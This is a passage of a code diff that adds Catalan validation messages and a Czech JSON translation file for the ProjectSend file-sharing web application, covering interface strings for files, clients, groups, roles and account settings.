caràcters.', + ], + 'mac_address' => 'El :attribute ha de ser una adreça MAC vàlida.', + 'max' => [ + 'array' => ':Attribute no pot tenir més de :max ítems.', + 'file' => ':Attribute no pot ser més gran que :max kilobytes.', + 'numeric' => ':Attribute no pot ser més gran que :max.', + 'string' => ':Attribute no pot ser més gran que :max caràcters.', + ], + 'max_digits' => 'El :attribute no ha de tenir més de :max dígits.', + 'mimes' => ':Attribute ha de ser un arxiu amb format: :values.', + 'mimetypes' => ':Attribute ha de ser un arxiu amb format: :values.', + 'min' => [ + 'array' => ':Attribute ha de tenir almenys :min ítems.', + 'file' => 'La mida de :attribute ha de ser d\'almenys :min kilobytes.', + 'numeric' => 'La mida de :attribute ha de ser d\'almenys :min.', + 'string' => ':Attribute ha de contenir almenys :min caràcters.', + ], + 'min_digits' => 'El :attribute ha de tenir almenys :min dígits.', + 'missing' => 'El camp :attribute ha de faltar.', + 'missing_if' => 'El camp :attribute ha de faltar quan :other és :value.', + 'missing_unless' => 'El camp :attribute ha de faltar, tret que :other sigui :value.', + 'missing_with' => 'El camp :attribute ha de faltar quan hi ha :values.', + 'missing_with_all' => 'El camp :attribute ha de faltar quan n\'hi ha :values.', + 'multiple_of' => 'La :attribute ha de ser un múltiple de :value', + 'not_in' => ':Attribute és invàlid.', + 'not_regex' => 'El format de :attribute no és vàlid.', + 'numeric' => ':Attribute ha de ser numèric.', + 'password' => [ + 'letters' => 'El :attribute ha de contenir almenys una lletra.', + 'mixed' => 'El :attribute ha de contenir almenys una lletra majúscula i una minúscula.', + 'numbers' => 'El :attribute ha de contenir almenys un número.', + 'symbols' => 'El :attribute ha de contenir almenys un símbol.', + 'uncompromised' => 'El :attribute donat ha aparegut en una filtració de dades. Si us plau, trieu un :attribute diferent.', + ], + 'present' => 'El camp :attribute ha d\'existir.', + 'present_if' => 'El camp :attribute ha d\'estar present quan :other és :value.', + 'present_unless' => 'El camp :attribute ha d\'estar present tret que :other sigui :value.', + 'present_with' => 'El camp :attribute ha d\'estar present quan n\'hi ha :values.', + 'present_with_all' => 'El camp :attribute ha d\'estar present quan n\'hi ha :values.', + 'prohibited' => 'La :attribute camp està prohibit.', + 'prohibited_if' => 'La :attribute camp és prohibida quan :other és :value.', + 'prohibited_if_accepted' => 'El camp :attribute està prohibit quan s’accepta :other.', + 'prohibited_if_declined' => 'El camp :attribute està prohibit quan es declina :other.', + 'prohibited_unless' => 'La :attribute camp és prohibida, tret que :other és en :values.', + 'prohibits' => 'El camp :attribute prohibeix la presència de :other.', + 'regex' => 'El format de :attribute és invàlid.', + 'required' => 'El camp :attribute és obligatori.', + 'required_array_keys' => 'El camp :attribute ha de contenir entrades per a: :values.', + 'required_if' => 'El camp :attribute és obligatori quan :other és :value.', + 'required_if_accepted' => 'El camp :attribute és obligatori quan s\'accepta :other.', + 'required_if_declined' => 'El camp :attribute és obligatori quan es rebutja :other.', + 'required_unless' => 'El camp :attribute és obligatori a no ser que :other sigui a :values.', + 'required_with' => 'El camp :attribute és obligatori quan hi ha :values.', + 'required_with_all' => 'El camp :attribute és obligatori quan hi ha :values.', + 'required_without' => 'El camp :attribute és obligatori quan no hi ha :values.', + 'required_without_all' => 'El camp :attribute és obligatori quan no hi ha cap valor dels següents: :values.', + 'same' => ':Attribute i :other han de coincidir.', + 'size' => [ + 'array' => ':Attribute ha de contenir :size ítems.', + 'file' => 'La mida de :attribute ha de ser :size kilobytes.', + 'numeric' => 'La mida de :attribute ha de ser :size.', + 'string' => ':Attribute ha de contenir :size caràcters.', + ], + 'starts_with' => 'El :attribute ha de començar per un dels valors següents: :values', + 'string' => 'El camp :attribute ha de ser una cadena.', + 'timezone' => 'El camp :attribute ha de ser una zona vàlida.', + 'ulid' => 'El :attribute ha de ser un ULID vàlid.', + 'unique' => ':Attribute ja està registrat i no es pot repetir.', + 'uploaded' => ':Attribute ha fallat al pujar.', + 'uppercase' => 'El :attribute ha d\'anar en majúscula.', + 'url' => ':Attribute no és una adreça web vàlida.', + 'uuid' => 'El :attribute ha de ser un indentificador únic universal (UUID) vàlid.', + 'attributes' => [ + 'address' => 'adreça', + 'affiliate_url' => 'URL d\'afiliat', + 'age' => 'edat', + 'amount' => 'quantitat', + 'announcement' => 'anunci', + 'area' => 'zona', + 'audience_prize' => 'premi del públic', + 'audience_winner' => 'audience winner', + 'available' => 'disponible', + 'birthday' => 'aniversari', + 'body' => 'cos', + 'city' => 'ciutat', + 'color' => 'color', + 'company' => 'company', + 'compilation' => 'compilació', + 'concept' => 'concepte', + 'conditions' => 'condicions', + 'content' => 'contingut', + 'contest' => 'contest', + 'country' => 'país', + 'cover' => 'coberta', + 'created_at' => 'creat a', + 'creator' => 'creador', + 'currency' => 'moneda', + 'current_password' => 'Contrasenya actual', + 'customer' => 'client', + 'date' => 'data', + 'date_of_birth' => 'data de naixement', + 'dates' => 'dates', + 'day' => 'dia', + 'deleted_at' => 'esborrat a les', + 'description' => 'descripció', + 'display_type' => 'tipus de visualització', + 'district' => 'districte', + 'duration' => 'durada', + 'email' => 'adreça electrònica', + 'excerpt' => 'extracte', + 'filter' => 'filtre', + 'finished_at' => 'acabat a les', + 'first_name' => 'nom', + 'gender' => 'gènere', + 'grand_prize' => 'gran premi', + 'group' => 'grup', + 'hour' => 'hora', + 'image' => 'imatge', + 'image_desktop' => 'imatge d\'escriptori', + 'image_main' => 'imatge principal', + 'image_mobile' => 'imatge mòbil', + 'images' => 'imatges', + 'is_audience_winner' => 'és el guanyador del públic', + 'is_hidden' => 'està amagat', + 'is_subscribed' => 'està subscrit', + 'is_visible' => 'és visible', + 'is_winner' => 'és el guanyador', + 'items' => 'elements', + 'key' => 'clau', + 'last_name' => 'cognom', + 'lesson' => 'lliçó', + 'line_address_1' => 'adreça de línia 1', + 'line_address_2' => 'adreça de línia 2', + 'login' => 'iniciar Sessió', + 'message' => 'missatge', + 'middle_name' => 'segon nom', + 'minute' => 'minut', + 'mobile' => 'mòbil', + 'month' => 'mes', + 'name' => 'nom', + 'national_code' => 'codi nacional', + 'number' => 'nombre', + 'password' => 'contrasenya', + 'password_confirmation' => 'confirmació de la contrasenya', + 'phone' => 'telèfon', + 'photo' => 'foto', + 'portfolio' => 'cartera', + 'postal_code' => 'Codi Postal', + 'preview' => 'Vista prèvia', + 'price' => 'preu', + 'product_id' => 'ID del producte', + 'product_uid' => 'UID del producte', + 'product_uuid' => 'UUID del producte', + 'promo_code' => 'codi promocional', + 'province' => 'província', + 'quantity' => 'quantitat', + 'reason' => 'raó', + 'recaptcha_response_field' => 'camp de resposta recaptcha', + 'referee' => 'àrbitre', + 'referees' => 'àrbitres', + 'region' => 'region', + 'reject_reason' => 'rebutjar la raó', + 'remember' => 'recorda', + 'restored_at' => 'restaurat a', + 'result_text_under_image' => 'text del resultat sota la imatge', + 'role' => 'paper', + 'rule' => 'regla', + 'rules' => 'regles', + 'second' => 'segon', + 'sex' => 'sexe', + 'shipment' => 'enviament', + 'short_text' => 'text breu', + 'size' => 'mida', + 'skills' => 'habilitats', + 'slug' => 'llimac', + 'specialization' => 'especialització', + 'started_at' => 'va començar a', + 'state' => 'estat', + 'status' => 'estat', + 'street' => 'carrer', + 'student' => 'estudiant', + 'subject' => 'assumpte', + 'tag' => 'etiqueta', + 'tags' => 'etiquetes', + 'teacher' => 'professor', + 'terms' => 'termes', + 'test_description' => 'descripció de la prova', + 'test_locale' => 'localització de prova', + 'test_name' => 'nom de la prova', + 'text' => 'text', + 'time' => 'hora', + 'title' => 'títol', + 'type' => 'tipus', + 'updated_at' => 'actualitzat a', + 'user' => 'usuari', + 'username' => 'usuari', + 'value' => 'valor', + 'winner' => 'winner', + 'work' => 'work', + 'year' => 'any', + ], +]; diff --git a/lang/cs.json b/lang/cs.json new file mode 100644 index 00000000..24d3c7c7 --- /dev/null +++ b/lang/cs.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName nahrál(a) \":itemName\"", + ":count accounts have this role": "Účtů s touto rolí: :count", + ":count awaiting approval": "Čeká na schválení: :count", + ":count downloads": "Stažení: :count", + ":count file deleted.|:count files deleted.": "Smazán :count soubor.|Smazáno :count souborů.", + ":count file imported.|:count files imported.": "Naimportován :count soubor.|Naimportováno :count souborů.", + ":count files": "Souborů: :count", + ":count folders": "Složek: :count", + ":count items have been shared with you": "Počet položek sdílených s vámi: :count", + ":count members": "Členů: :count", + ":count selected": "Vybráno: :count", + ":files files": "Souborů: :files", + ":itemName was shared with you": ":itemName byl(a) s vámi sdílen(a)", + ":name will not be added to the group \":group\".": ":name nebude přidán(a) do skupiny \":group\".", + ":total total": "Celkem: :total", + ":used / :limit downloads": "Stažení: :used / :limit", + ":used MB of :quota MB used": "Využito :used MB z :quota MB", + ":used MB used, no limit": "Využito :used MB, bez limitu", + "(and :count more error)": "(a :count dalších chyb)", + "(and :count more errors)": "(a :count dalších chyb)|(a :count dalších chyb)|(a :count dalších chyb)", + "(deleted account)": "(smazaný účet)", + "0 means unlimited.": "0 znamená bez omezení.", + "A client account request was approved": "Žádost o klientský účet byla schválena", + "A client account request was denied": "Žádost o klientský účet byla zamítnuta", + "A client left a group": "Klient opustil skupinu", + "A client registered an account": "Klient si zaregistroval účet", + "A client requested to join a group": "Klient požádal o vstup do skupiny", + "A client uploaded a file": "Klient nahrál soubor", + "A client was added to a group": "Klient byl přidán do skupiny", + "A client was removed from a group": "Klient byl odebrán ze skupiny", + "A decryption key is required.": "Je vyžadován dešifrovací klíč.", + "A file assignment was removed": "Přiřazení souboru bylo zrušeno", + "A file has been shared with you": "Byl s vámi sdílen soubor", + "A file or folder was shared with you": "Byl s vámi sdílen soubor nebo složka", + "A file was assigned": "Soubor byl přiřazen", + "A file was deleted": "Soubor byl smazán", + "A file was downloaded": "Soubor byl stažen", + "A file was downloaded via a public link": "Soubor byl stažen přes veřejný odkaz", + "A file was downloaded via the public group listing": "Soubor byl stažen přes veřejný seznam skupin", + "A file was updated": "Soubor byl aktualizován", + "A file was uploaded": "Soubor byl nahrán", + "A folder cannot be moved into itself.": "Složku nelze přesunout do sebe sama.", + "A folder has been shared with you": "Byla s vámi sdílena složka", + "A folder was created": "Složka byla vytvořena", + "A folder was deleted": "Složka byla smazána", + "A folder was moved": "Složka byla přesunuta", + "A folder was renamed": "Složka byla přejmenována", + "A folder was shared": "Složka byla nasdílena", + "A folder was unshared": "Sdílení složky bylo zrušeno", + "A group membership request was approved": "Žádost o členství ve skupině byla schválena", + "A group membership request was denied": "Žádost o členství ve skupině byla zamítnuta", + "A group membership was requested": "Bylo požádáno o členství ve skupině", + "A group was created": "Skupina byla vytvořena", + "A group was deleted": "Skupina byla smazána", + "A group was updated": "Skupina byla aktualizována", + "A new client account was created: :name (:email).": "Byl vytvořen nový klientský účet: :name (:email).", + "A new client has registered": "Zaregistroval se nový klient", + "A new ProjectSend version is available": "Je k dispozici nová verze ProjectSend", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Stránka veřejné skupiny je vždy dostupná přes vlastní odkaz, jakmile ji označíte jako veřejnou — tato sekce řídí pouze základní URL a volitelný rozcestník, který naráz vypisuje všechny veřejné skupiny a soubory.", + "A public link was created": "Byl vytvořen veřejný odkaz", + "A public link was revoked": "Veřejný odkaz byl zneplatněn", + "A role was created": "Role byla vytvořena", + "A role was deleted": "Role byla smazána", + "A role was updated": "Role byla aktualizována", + "A Timeout Occurred": "Došlo k vypršení časového limitu", + "About": "O aplikaci", + "Accept": "Akceptovat", + "Accepted": "Přijato", + "Account": "Účet", + "Account deletion grace period (days)": "Ochranná lhůta před smazáním účtu (dny)", + "Account is active": "Účet je aktivní", + "Account Manager": "Správce klientů", + "Account request approved.": "Žádost o účet schválena.", + "Account request denied.": "Žádost o účet zamítnuta.", + "Account requests": "Žádosti o účet", + "Account settings": "Nastavení účtu", + "Account type": "Typ účtu", + "Accounts": "Účty", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Účty, na které se tento požadavek vztahuje, si musí nastavit dvoufázové ověření, než budou moci aplikaci dál používat.", + "Action": "Akce", + "Actions": "Akce", + "Activate": "Aktivovat", + "Activated the account \":subject\"": "Aktivoval(a) účet \":subject\"", + "Activating this account approves its pending request.": "Aktivace tohoto účtu schválí čekající žádost, která k němu patří.", + "Active": "Aktivní", + "Activity": "Aktivita", + "Activity log": "Záznam aktivity", + "Add": "Přidat", + "Add :name": "Přidejte :name", + "Add a category": "Přidat kategorii", + "Add a client": "Přidat klienta", + "Add a second step to your login using an authenticator app.": "Přidejte si k přihlášení druhý krok pomocí ověřovací aplikace.", + "Add new clients to this group": "Přidat do této skupiny nové klienty", + "Added \":member\" to the group \":subject\"": "Přidal(a) \":member\" do skupiny \":subject\"", + "Admin": "Admin", + "Admin notification recipients": "Příjemci administrátorských upozornění", + "Admin: client uploaded a file": "Administrace: klient nahrál soubor", + "Admin: group membership requested": "Administrace: požádáno o členství ve skupině", + "Admin: new client registered": "Administrace: zaregistroval se nový klient", + "Administration": "Administrace", + "After uploading you can assign it to clients and groups": "Po nahrání jej můžete přiřadit klientům a skupinám", + "Agree": "Souhlasit", + "All": "Vše", + "All actions": "Všechny akce", + "All categories": "Všechny kategorie", + "All clients": "Všichni klienti", + "All comments": "Všechny komentáře", + "All failed jobs deleted.": "Všechny neúspěšné úlohy byly odstraněny.", + "All files": "Všechny soubory", + "All groups": "Všechny skupiny", + "All permissions": "Všechna oprávnění", + "All rights reserved.": "Všechna práva vyhrazena.", + "All roles": "Všechny role", + "All statuses": "Všechny stavy", + "All system users": "Všichni uživatelé systému", + "All types": "Všechny typy", + "Already have an account?": "Máte už účet?", + "Already Reported": "Již nahlášeno", + "Always": "Vždy", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Byl pro vás vytvořen účet. Můžete se přihlásit.", + "An account was activated": "Účet byl aktivován", + "An account was created": "Účet byl vytvořen", + "An account was deactivated": "Účet byl deaktivován", + "An account was deleted": "Účet byl smazán", + "An account was permanently erased": "Účet byl trvale vymazán", + "An account was updated": "Účet byl aktualizován", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Správce, který maže účet, je na to dotázán pokaždé; automatické vymazání účtů smazaných jejich vlastníkem probíhá bez dozoru a řídí se touto volbou, takže nikdy nic nezůstane bez vlastníka.", + "An administrator will review your group requests.": "Administrátor posoudí vaše žádosti o skupiny.", + "An orphan file was deleted": "Osiřelý soubor byl smazán", + "An orphan file was imported": "Osiřelý soubor byl naimportován", + "An overview of this installation": "Přehled této instalace", + "Any audience": "Libovolní příjemci", + "Anyone": "Kdokoli", + "Anyone using it will no longer be able to download the file.": "Kdo jej používá, už soubor nestáhne.", + "Appearance": "Vzhled", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Platí pro veřejné stránky skupin a souborů určené návštěvníkům a pro klientský portál „Moje soubory“.", + "Apply filters": "Použít filtry", + "Approve": "Schválit", + "Approve account requests": "Schvalování žádostí o účet", + "Approve group membership requests": "Schvalování žádostí o členství ve skupinách", + "Approved the account request of \":subject\"": "Schválil(a) žádost o účet od \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Schválil(a) členství \":member\" ve skupině \":subject\"", + "Archive": "Archiv", + "Are deleted along with the account": "Budou odstraněny spolu s účtem", + "Are reassigned to another account": "Budou převedeny na jiný účet", + "Are you sure you want to delete your account?": "Opravdu chcete smazat svůj účet?", + "Assign": "Přiřadit", + "Assign categories to files": "Přiřazování kategorií k souborům", + "Assigned": "Přiřazeno", + "Assigned clients": "Přiřazení klienti", + "Assigned the file \":subject\" to :target": "Přiřadil(a) soubor \":subject\" k :target", + "Associate": "Spolupracovník", + "Attach": "Připojit", + "Audience": "Příjemci", + "Authentication code": "Ověřovací kód", + "Authentication requirements for this installation": "Požadavky na ověřování v této instalaci", + "Author": "Autor", + "Available groups": "Dostupné skupiny", + "Available placeholders": "Dostupné zástupné výrazy", + "Back to My files": "Zpět na Moje soubory", + "Bad Gateway": "Špatná brána", + "Bad Request": "Špatný požadavek", + "Bandwidth Limit Exceeded": "Překročen limit šířky pásma", + "Blue": "Modrá", + "Body": "Text zprávy", + "Browse": "Procházet", + "Browse publicly shared groups and files below.": "Níže si můžete projít veřejně sdílené skupiny a soubory.", + "Built-in": "Vestavěná", + "Built-in role names cannot be changed.": "Názvy vestavěných rolí nelze měnit.", + "Built-in roles cannot be deleted.": "Vestavěné role nelze mazat.", + "Call to action": "Výzva k akci", + "Cancel": "Zrušit", + "Categories": "Kategorie", + "Category": "Kategorie", + "Category created.": "Kategorie vytvořena.", + "Category deleted.": "Kategorie smazána.", + "Category updated.": "Kategorie aktualizována.", + "Changed their password": "Změnil(a) si heslo", + "Checkbox": "Zaškrtávací pole", + "Checksum (SHA-256)": "Kontrolní součet (SHA-256)", + "Choose": "Vybrat", + "Choose :name": "Vyberte :name", + "Choose an account…": "Vyberte účet…", + "Choose File": "Vyberte soubor", + "Choose Image": "Vyberte Obrázek", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Vyberte, která upozornění vám mají chodit i e-mailem. Vše se tak jako tak vždy objeví ve zvonku upozornění.", + "Clear": "Vymazat", + "Click to copy": "Kliknutím zkopírujete", + "Client": "Klient", + "Client account approved": "Klientský účet schválen", + "Client account denied": "Klientský účet zamítnut", + "Client account edited": "Klientský účet upraven", + "Client Closed Request": "Klient uzavřený požadavek", + "Client created.": "Klient vytvořen.", + "Client deleted.": "Klient smazán.", + "Client Manager": "Správce klientů", + "Client settings": "Nastavení klientů", + "Client updated.": "Klient aktualizován.", + "Client welcome (staff-created account)": "Uvítání klienta (účet vytvořený týmem)", + "Clients": "Klienti", + "Clients and groups that can download this file": "Klienti a skupiny, kteří mohou tento soubor stáhnout", + "Clients asking to join groups": "Klienti žádající o vstup do skupin", + "Clients who registered themselves and are waiting for approval": "Klienti, kteří se zaregistrovali sami a čekají na schválení", + "Close": "Uzavřít", + "Collapse": "Kolaps", + "Collapse All": "Sbalit vše", + "Color": "Barva", + "Columns": "Sloupce", + "Comment": "Komentář", + "Confirm": "Potvrdit", + "Confirm password": "Potvrzení hesla", + "Conflict": "Konflikt", + "Connect": "Připojit", + "Connection Closed Without Response": "Připojení uzavřeno bez odezvy", + "Connection Timed Out": "Připojení vypršelo", + "Continue": "Pokračovat", + "Copy URL": "Kopírovat URL", + "Copy link": "Kopírovat odkaz", + "Counters": "Počitadla", + "Create": "Vytvořit", + "Create :name": "Vytvořit :name", + "Create a client account": "Vytvořit klientský účet", + "Create a public link": "Vytvořit veřejný odkaz", + "Create a staff account for this installation": "Vytvořit týmový účet pro tuto instalaci", + "Create administrator account": "Vytvořit účet administrátora", + "Create an account for someone you share files with": "Vytvořte účet pro někoho, s kým sdílíte soubory", + "Create categories": "Vytváření kategorií", + "Create category": "Vytvořit kategorii", + "Create client": "Vytvořit klienta", + "Create clients": "Vytváření klientů", + "Create custom assets": "Vytváření vlastních prvků", + "Create field": "Vytvořit pole", + "Create folder": "Vytvořit složku", + "Create group": "Vytvořit skupinu", + "Create groups": "Vytváření skupin", + "Create link": "Vytvořit odkaz", + "Create own folders": "Vytváření vlastních složek", + "Create role": "Vytvořit roli", + "Create system users": "Vytváření uživatelů systému", + "Create user": "Vytvořit uživatele", + "Created": "Vytvořeno", + "Created a public link for the file \":subject\"": "Vytvořil(a) veřejný odkaz na soubor \":subject\"", + "Created by": "Vytvořil(a)", + "Created the account \":subject\"": "Vytvořil(a) účet \":subject\"", + "Created the folder \":subject\"": "Vytvořil(a) složku \":subject\"", + "Created the group \":subject\"": "Vytvořil(a) skupinu \":subject\"", + "Created the role \":subject\"": "Vytvořil(a) roli \":subject\"", + "Custom": "Vlastní", + "Custom assets": "Vlastní prvky", + "Custom fields": "Vlastní pole", + "Custom links with an optional expiration date or download limit, no account needed.": "Odkazy na míru, s volitelným datem vypršení nebo limitem stažení, bez nutnosti účtu.", + "Custom roles let you grant a precise set of permissions": "Vlastní role vám umožní udělit přesně vymezenou sadu oprávnění", + "Custom SMTP": "Vlastní SMTP", + "Customize the wording of any transactional email sent by this installation.": "Upravte znění kteréhokoli transakčního e-mailu, který tato instalace odesílá.", + "Customized": "Upraveno", + "Dark": "Tmavý", + "Dashboard": "Přehled", + "Dashboard widgets": "Widgety přehledu", + "Data retention and visibility for this installation": "Uchovávání dat a viditelnost v této instalaci", + "Database": "Databáze", + "Date": "Datum", + "Days before a denied membership request can be made again": "Počet dní, než lze zamítnutou žádost o členství podat znovu", + "Deactivate your account now; it is permanently erased after :days days": "Deaktivujte svůj účet nyní; po :days dnech bude trvale vymazán", + "Deactivated the account \":subject\"": "Deaktivoval(a) účet \":subject\"", + "Default": "Výchozí", + "Defaults to the file name.": "Ve výchozím stavu název souboru.", + "Delete": "Odstranit", + "Delete :name": "Smazat :name", + "Delete account": "Smazat účet", + "Delete all": "Odstranit vše", + "Delete all failed": "Odstranit všechny neúspěšné", + "Delete all failed jobs?": "Odstranit všechny neúspěšné úlohy?", + "Delete categories": "Mazání kategorií", + "Delete category": "Smazat kategorii", + "Delete category?": "Smazat kategorii?", + "Delete client": "Smazat klienta", + "Delete client?": "Smazat klienta?", + "Delete clients": "Mazání klientů", + "Delete custom assets": "Mazání vlastních prvků", + "Delete field": "Smazat pole", + "Delete field?": "Smazat pole?", + "Delete file": "Smazat soubor", + "Delete file?": "Smazat soubor?", + "Delete files": "Mazání souborů", + "Delete folder": "Smazat složku", + "Delete folder?": "Smazat složku?", + "Delete group": "Smazat skupinu", + "Delete group?": "Smazat skupinu?", + "Delete groups": "Mazání skupin", + "Delete others' files": "Mazání cizích souborů", + "Delete own files": "Mazání vlastních souborů", + "Delete role": "Smazat roli", + "Delete role?": "Smazat roli?", + "Delete selected": "Smazat vybrané", + "Delete selected files?": "Smazat vybrané soubory?", + "Delete system users": "Mazání uživatelů systému", + "Delete this file?": "Smazat tento soubor?", + "Delete user": "Smazat uživatele", + "Delete user?": "Smazat uživatele?", + "Deleted account": "Smazaný účet", + "Deleted the account \":name\"": "Smazal(a) účet \":name\"", + "Deleted the file \":name\"": "Smazal(a) soubor \":name\"", + "Deleted the folder \":name\" and its contents": "Smazal(a) složku \":name\" i s jejím obsahem", + "Deleted the group \":name\"": "Smazal(a) skupinu \":name\"", + "Deleted the orphan file \":name\"": "Smazal(a) osiřelý soubor \":name\"", + "Deleted the role \":name\"": "Smazal(a) roli \":name\"", + "Denied the account request of \":name\"": "Zamítl(a) žádost o účet od \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Zamítl(a) členství \":member\" ve skupině \":subject\"", + "Deny": "Zamítnout", + "Deny this request?": "Zamítnout tuto žádost?", + "Description": "Popis", + "Description (optional)": "Popis (nepovinné)", + "Detach": "Odpojit", + "Details": "Informace", + "Disable": "Zakázat", + "Disable two-factor authentication?": "Vypnout dvoufázové ověření?", + "Disabled two-factor authentication": "Vypnul(a) dvoufázové ověření", + "Discard": "Vyřadit", + "Discourage search engines from indexing this site": "Odrazovat vyhledávače od indexování tohoto webu", + "Dismiss": "Zavřít", + "Documentation": "Dokumentace", + "Don't have an account?": "Nemáte účet?", + "Done": "Hotovo", + "Down": "Dolů", + "Download": "Stáhnout", + "Download as zip": "Stáhnout jako ZIP", + "Downloaded the file \":subject\"": "Stáhl(a) soubor \":subject\"", + "Downloaded the file \":subject\" via a public link": "Stáhl(a) soubor \":subject\" přes veřejný odkaz", + "Downloaded the file \":subject\" via the public group listing": "Stáhl(a) soubor \":subject\" přes veřejný seznam skupin", + "Downloads": "Stažení", + "Downloads are never recorded with an IP address.": "U stažení se nikdy nezaznamenává IP adresa.", + "Drag to reorder": "Přetažením změníte pořadí", + "Drag widgets here": "Přetáhněte sem widgety", + "Dropdown": "Rozbalovací seznam", + "Duplicate": "Duplikát", + "Duplicate :name": "Duplikovat :name", + "Edit": "Upravit", + "Edit :name": "Upravit :name", + "Edit categories": "Úpravy kategorií", + "Edit clients": "Úpravy klientů", + "Edit custom assets": "Úpravy vlastních prvků", + "Edit email templates": "Úpravy e-mailových šablon", + "Edit groups": "Úpravy skupin", + "Edit others' files": "Úpravy cizích souborů", + "Edit own files": "Úpravy vlastních souborů", + "Edit system settings": "Úpravy nastavení systému", + "Edit system users": "Úpravy uživatelů systému", + "Edit this client account": "Upravit tento klientský účet", + "Edit this staff account": "Upravit tento týmový účet", + "Edition": "Edice", + "Email": "E-mail", + "Email address": "E-mailová adresa", + "Email settings": "Nastavení e-mailu", + "Email template reset to default.": "E-mailová šablona vrácena na výchozí znění.", + "Email template saved.": "E-mailová šablona uložena.", + "Email templates": "E-mailové šablony", + "Empty file": "Prázdný soubor", + "Enable": "Povolit", + "Enable the public directory page": "Zapnout stránku veřejného rozcestníku", + "Enable two-factor authentication": "Zapnout dvoufázové ověření", + "Enabled two-factor authentication": "Zapnul(a) dvoufázové ověření", + "Encrypted environment file already exists.": "Soubor zašifrovaného prostředí již existuje.", + "Encrypted environment file not found.": "Soubor zašifrovaného prostředí nebyl nalezen.", + "Encryption": "Šifrování", + "Enter one of your recovery codes.": "Zadejte jeden ze svých záložních kódů.", + "Enter the six-digit code from your authenticator app.": "Zadejte šestimístný kód z ověřovací aplikace.", + "Enter your email and password below to log in": "Pro přihlášení zadejte níže svůj e-mail a heslo", + "Environment": "Prostředí", + "Environment file already exists.": "Soubor prostředí již existuje.", + "Environment file not found.": "Soubor prostředí nebyl nalezen.", + "errors": "chyby", + "Every comment on files you can see, newest first": "Všechny komentáře u souborů, které vidíte, od nejnovějších", + "Every download records the IP address of whoever downloaded it.": "U každého stažení se zaznamená IP adresa toho, kdo jej provedl.", + "Everyone": "Všichni", + "Everything that happened on this installation, newest first": "Vše, co se v této instalaci stalo, od nejnovějšího", + "Expand": "Rozšířit", + "Expand All": "Rozšířit vše", + "Expectation Failed": "Očekávání se nezdařilo", + "Expires": "Vyprší", + "Expires :date": "Vyprší :date", + "Explanation": "Vysvětlení", + "Export": "Vývozní", + "Export :name": "Export :name", + "Export CSV": "Exportovat CSV", + "External storage": "Externí úložiště", + "Extra fields shown on the client create and edit screens.": "Doplňková pole zobrazená na obrazovkách pro vytvoření a úpravu klienta.", + "Failed Dependency": "Neúspěšná závislost", + "Failed to send: :error": "Odeslání selhalo: :error", + "File": "Soubor", + "File: :name": "Soubor: :name", + "File deleted.": "Soubor smazán.", + "File imported.": "Soubor naimportován.", + "File name": "Název souboru", + "File shared with a client": "Soubor sdílený s klientem", + "File updated.": "Soubor aktualizován.", + "File uploaded.": "Soubor nahrán.", + "Files": "Soubory", + "Files can only be assigned to clients or groups.": "Soubory lze přiřadit pouze klientům nebo skupinám.", + "Files shared with you": "Soubory sdílené s vámi", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Soubory ležící na disku bez odpovídajícího záznamu — z přerušeného nahrávání, z obnovy zálohy nebo z ručního zásahu do souborového systému.", + "Flat labels for files — independent of folders. A file can have several.": "Jednoduché štítky pro soubory — nezávislé na složkách. Soubor jich může mít několik.", + "Folder": "Složka", + "Folder: :name": "Složka: :name", + "Folder created.": "Složka vytvořena.", + "Folder deleted.": "Složka smazána.", + "Folder shared with a client": "Složka sdílená s klientem", + "Folders can only be shared with clients or groups.": "Složky lze sdílet pouze s klienty nebo skupinami.", + "Folders cannot be nested more than :max levels deep.": "Maximální hloubka vnoření složek: :max.", + "Forbidden": "Zakázáno", + "Forgot password?": "Zapomněli jste heslo?", + "Found": "Nalezeno", + "From": "Od", + "From address": "Adresa odesílatele", + "From name": "Jméno odesílatele", + "Gateway Timeout": "Časový limit brány", + "General": "Obecné", + "General settings": "Obecná nastavení", + "Go Home": "Domů", + "Go to page :page": "Přejít na stranu :page", + "Go to the login form": "Přejít na přihlašovací formulář", + "Gone": "Pryč", + "Gray": "Šedá", + "Green": "Zelená", + "Group": "Skupina", + "Group created.": "Skupina vytvořena.", + "Group deleted.": "Skupina smazána.", + "Group membership approved": "Členství ve skupině schváleno", + "Group membership denied": "Členství ve skupině zamítnuto", + "Group updated.": "Skupina aktualizována.", + "Groups": "Skupiny", + "Groups clients can request to join at registration": "Skupiny, o vstup do kterých mohou klienti požádat při registraci", + "Groups let you assign files to several clients at once": "Skupiny vám umožní přiřadit soubory několika klientům najednou", + "Hello :name,": "Dobrý den, :name,", + "Hello, :name": "Dobrý den, :name", + "Hello!": "Zdravíme!", + "Here is what has been shared with you": "Toto s vámi bylo sdíleno", + "Hide": "Skrýt", + "Hide :name": "Skrýt :name", + "Home": "Domov", + "Host": "Host", + "How client accounts are created on this installation": "Jak v této instalaci vznikají klientské účty", + "How long a self-deleted account is kept before it is permanently erased.": "Jak dlouho se uchovává účet smazaný jeho majitelem, než bude trvale vymazán.", + "How many files/folders were shared at once": "Kolik souborů/složek bylo sdíleno najednou", + "HTTP Version Not Supported": "Verze HTTP není podporována", + "I'm a teapot": "Jsem čajník", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Pokud tento účet již nebude k dispozici, až vymazání proběhne, soubory se odstraní, místo aby zůstaly bez vlastníka.", + "If you did not create an account, no further action is required.": "Pokud jste nevytvořili účet, není třeba provádět žádné další akce.", + "If you did not request a password reset, no further action is required.": "Pokud jste nežádali o obnovení hesla, zprávu smažte. Původní heslo zůstalo beze změny.", + "If you received this, your email configuration is working.": "Pokud vám tato zpráva dorazila, vaše nastavení e-mailu funguje.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Pokud máte potíže s klepnutím na tlačítko \":actionText\", zkopírujte a vložte\nníže uvedenou adresu URL do vašeho webového prohlížeče:", + "IM Used": "Jsem zvyklý", + "Image": "obraz", + "Impersonate": 